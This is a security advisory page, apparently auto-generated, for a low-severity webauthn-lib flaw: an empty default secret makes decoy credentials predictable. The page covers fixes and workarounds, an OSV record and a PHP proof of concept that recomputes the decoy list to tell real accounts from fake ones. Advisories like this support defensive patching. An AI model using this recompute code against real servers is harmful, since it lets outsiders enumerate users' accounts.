GHSA-gq4g-fpc9-vjfq: Webauthn SimpleFakeCredentialGenerator With An Empty Secret Vulnerability

LOW
CWE-204 CWE-330
Published
Advisory Summary

GHSA-gq4g-fpc9-vjfq is a LOW simplefakecredentialgenerator with an empty secret vulnerability (CWE-204: Observable Response Discrepancy) affecting Webauthn libraries in the Packagist ecosystem. The issue involves simplefakecredentialgenerator with an empty secret produces predictable fake credentials, weakening username enumeration protection. Remediation is available by upgrading affected packages to version 5.3.5.

GHSA-gq4g-fpc9-vjfq at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-gq4g-fpc9-vjfq
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-204: Observable Response Discrepancy
Affected Product Webauthn
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix GHSA-gq4g-fpc9-vjfq

To remediate this vulnerability, upgrade all affected Webauthn dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

web-auth/webauthn-lib fixed: 5.3.5
Upgrade web-auth/webauthn-lib to 5.3.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for web-auth/webauthn-lib

How to Check if You Are Affected

To determine whether your application is affected by GHSA-gq4g-fpc9-vjfq, inspect your project dependencies for Webauthn:

inspect dependencies for web-auth/webauthn-lib

Analyze the terminal output to locate any version of Webauthn in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.3.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-204: Observable Response Discrepancy, where the product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere. In Webauthn, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Impact `Webauthn\SimpleFakeCredentialGenerator` is the library-provided default implementation of the `FakeCredentialGenerator` interface. It returns a stable list of decoy `PublicKeyCredentialDescriptor` objects for a given username so that an assertion request for an unknown user looks the same as a request for a real one, which mitigates username enumeration. The generator derives the whole decoy list from a single seed: ```php $seed = hash('sha256', $username . $this->secret, true); ``` When it is constructed without a secret (its constructor default, `$secret = ''`), the seed depends only on the username. The username is attacker-chosen and the algorithm is public, so an unauthenticated requester can recompute the exact, byte-for-byte decoy list the server returns for any username. The attacker then compares a probed username's response against the locally computed list and decides whether the account is real or fake, which is precisely the distinction the mechanism is meant to hide. With any non-empty secret the seed becomes a value the attacker cannot evaluate and the mitigation holds. The defect is the empty default, not the algorithm. ## Affected configurations - Direct use of the library (`web-auth/webauthn-lib`) where `SimpleFakeCredentialGenerator` is instantiated without a secret. - Any integration that wires the generator with an empty secret. The Symfony bundle is not affected with its default configuration: it injects the application secret (`kernel.secret`) into the generator, so out-of-the-box deployments already use a non-empty secret. Deployments that set an empty `kernel.secret` are affected. ## Patches Fixed in 5.3.5. The generator now emits a deprecation when it is constructed without a secret, which surfaces the misconfiguration in logs and the Symfony profiler. A non-empty secret will be required in 6.0.0. The recommended remediation is to always provide a non-empty, deployment-specific secret. ## Workarounds Construct `SimpleFakeCredentialGenerator` with a non-empty secret value (for example the application secret), or provide a custom `FakeCredentialGenerator` implementation seeded with a secret. ## Proof of concept ```php <?php declare(strict_types=1); require $src . '/PublicKeyCredentialDescriptor.php'; require $src . '/FakeCredentialGenerator.php'; require $src . '/SimpleFakeCredentialGenerator.php'; use Webauthn\PublicKeyCredentialDescriptor; use Webauthn\SimpleFakeCredentialGenerator; $username = 'alice@example.com'; // 1. The "server" runs the library default wiring (cache=null, secret=''). $server = new SimpleFakeCredentialGenerator(); $refl = new ReflectionMethod(SimpleFakeCredentialGenerator::class, 'generateCredentials'); $refl->setAccessible(true); $serverDescriptors = $refl->invoke($server, $username); // 2. The "attacker" recomputes the same algorithm, knowing only the username. function attackerRecompute(string $username): array { $transports = [ PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_USB, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_NFC, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_BLE, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_HYBRID, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_INTERNAL, PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_SMART_CARD, ]; $seed = hash('sha256', $username . '', true); // empty secret $count = (ord($seed[0]) % 3) + 1; $out = []; for ($i = 0; $i < $count; $i++) { $credSeed = hash('sha256', $seed . pack('N', $i), true); $transportCount = (ord($credSeed[0]) % 2) + 1; $sel = []; for ($j = 0; $j < $transportCount; $j++) { $sel[] = $transports[ord($credSeed[$j + 1]) % count($transports)]; } $sel = array_values(array_unique($sel)); $out[] = ['type' => PublicKeyCredentialDescriptor::CREDENTIAL_TYPE_PUBLIC_KEY, 'id' => hash('sha256', $credSeed . $username), 'transports' => $sel]; } return $out; } // 3. The two lists match byte-for-byte, so the decoy is reproducible. // The same call with a non-empty secret diverges, confirming the defect // is the default value rather than the algorithm. ``` With the default empty secret the library's fake-credential list is bit-for-bit reproducible from the public username alone, which defeats the username enumeration mitigation. The same call with a non-empty secret diverges. ## Severity Low. The decoy responses are still well-formed and the issue only re-enables username enumeration, and only when the generator is used without a secret (which is not the case for default Symfony bundle deployments). ## Credits Found during an internal security audit of the project.

GHSA-gq4g-fpc9-vjfq Affected Webauthn Versions

1 component(s)
Fixed Versions:
5.3.5
Product / Package Ecosystem Affected Versions Fixed Version
web-auth/webauthn-lib
Packagist
≥ 4.9.0
< 5.3.5
5.3.5

References

Frequently Asked Questions

What is GHSA-gq4g-fpc9-vjfq?
GHSA-gq4g-fpc9-vjfq is a security vulnerability in Webauthn involving SimpleFakeCredentialGenerator with an empty secret produces predictable fake credentials, weakening username enumeration protection under CWE-204: Observable Response Discrepancy.
Which Webauthn versions are affected?
Affected versions include releases prior to 5.3.5 across affected packages: web-auth/webauthn-lib.
What version fixes GHSA-gq4g-fpc9-vjfq?
Upgrading to 5.3.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is web-auth/webauthn-lib affected?
Yes, web-auth/webauthn-lib is affected in releases prior to 5.3.5. Upgrade your dependency to 5.3.5 or later.
What CWE is associated with GHSA-gq4g-fpc9-vjfq?
GHSA-gq4g-fpc9-vjfq is classified under CWE-204: Observable Response Discrepancy (The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.).
How can I check Packagist dependencies for GHSA-gq4g-fpc9-vjfq?
Run the dependency tree command: 'inspect dependencies for web-auth/webauthn-lib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gq4g-fpc9-vjfq",
  "modified" : "2026-07-07T23:40:01Z",
  "published" : "2026-07-07T23:39:43Z",
  "aliases" : [ ],
  "summary" : "Webauthn: SimpleFakeCredentialGenerator with an empty secret produces predictable fake credentials, weakening username enumeration protection",
  "details" : "## Impact\n\n`Webauthn\\SimpleFakeCredentialGenerator` is the library-provided default implementation of the `FakeCredentialGenerator` interface. It returns a stable list of decoy `PublicKeyCredentialDescriptor` objects for a given username so that an assertion request for an unknown user looks the same as a request for a real one, which mitigates username enumeration.\n\nThe generator derives the whole decoy list from a single seed:\n\n```php\n$seed = hash('sha256', $username . $this->secret, true);\n```\n\nWhen it is constructed without a secret (its constructor default, `$secret = ''`), the seed depends only on the username. The username is attacker-chosen and the algorithm is public, so an unauthenticated requester can recompute the exact, byte-for-byte decoy list the server returns for any username. The attacker then compares a probed username's response against the locally computed list and decides whether the account is real or fake, which is precisely the distinction the mechanism is meant to hide.\n\nWith any non-empty secret the seed becomes a value the attacker cannot evaluate and the mitigation holds. The defect is the empty default, not the algorithm.\n\n## Affected configurations\n\n- Direct use of the library (`web-auth/webauthn-lib`) where `SimpleFakeCredentialGenerator` is instantiated without a secret.\n- Any integration that wires the generator with an empty secret.\n\nThe Symfony bundle is not affected with its default configuration: it injects the application secret (`kernel.secret`) into the generator, so out-of-the-box deployments already use a non-empty secret. Deployments that set an empty `kernel.secret` are affected.\n\n## Patches\n\nFixed in 5.3.5. The generator now emits a deprecation when it is constructed without a secret, which surfaces the misconfiguration in logs and the Symfony profiler. A non-empty secret will be required in 6.0.0. The recommended remediation is to always provide a non-empty, deployment-specific secret.\n\n## Workarounds\n\nConstruct `SimpleFakeCredentialGenerator` with a non-empty secret value (for example the application secret), or provide a custom `FakeCredentialGenerator` implementation seeded with a secret.\n\n## Proof of concept\n\n```php\n<?php\ndeclare(strict_types=1);\n\nrequire $src . '/PublicKeyCredentialDescriptor.php';\nrequire $src . '/FakeCredentialGenerator.php';\nrequire $src . '/SimpleFakeCredentialGenerator.php';\n\nuse Webauthn\\PublicKeyCredentialDescriptor;\nuse Webauthn\\SimpleFakeCredentialGenerator;\n\n$username = 'alice@example.com';\n\n// 1. The \"server\" runs the library default wiring (cache=null, secret='').\n$server = new SimpleFakeCredentialGenerator();\n$refl = new ReflectionMethod(SimpleFakeCredentialGenerator::class, 'generateCredentials');\n$refl->setAccessible(true);\n$serverDescriptors = $refl->invoke($server, $username);\n\n// 2. The \"attacker\" recomputes the same algorithm, knowing only the username.\nfunction attackerRecompute(string $username): array {\n    $transports = [\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_USB,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_NFC,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_BLE,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_HYBRID,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_INTERNAL,\n        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_SMART_CARD,\n    ];\n    $seed = hash('sha256', $username . '', true); // empty secret\n    $count = (ord($seed[0]) % 3) + 1;\n    $out = [];\n    for ($i = 0; $i < $count; $i++) {\n        $credSeed = hash('sha256', $seed . pack('N', $i), true);\n        $transportCount = (ord($credSeed[0]) % 2) + 1;\n        $sel = [];\n        for ($j = 0; $j < $transportCount; $j++) {\n            $sel[] = $transports[ord($credSeed[$j + 1]) % count($transports)];\n        }\n        $sel = array_values(array_unique($sel));\n        $out[] = ['type' => PublicKeyCredentialDescriptor::CREDENTIAL_TYPE_PUBLIC_KEY,\n                  'id' => hash('sha256', $credSeed . $username), 'transports' => $sel];\n    }\n    return $out;\n}\n\n// 3. The two lists match byte-for-byte, so the decoy is reproducible.\n//    The same call with a non-empty secret diverges, confirming the defect\n//    is the default value rather than the algorithm.\n```\n\nWith the default empty secret the library's fake-credential list is bit-for-bit reproducible from the public username alone, which defeats the username enumeration mitigation. The same call with a non-empty secret diverges.\n\n## Severity\n\nLow. The decoy responses are still well-formed and the issue only re-enables username enumeration, and only when the generator is used without a secret (which is not the case for default Symfony bundle deployments).\n\n## Credits\n\nFound during an internal security audit of the project.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "web-auth/webauthn-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.9.0"
      }, {
        "fixed" : "5.3.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/web-auth/webauthn-framework/security/advisories/GHSA-gq4g-fpc9-vjfq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/web-auth/webauthn-framework"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-204", "CWE-330" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-07T23:39:43Z",
    "nvd_published_at" : null
  }
}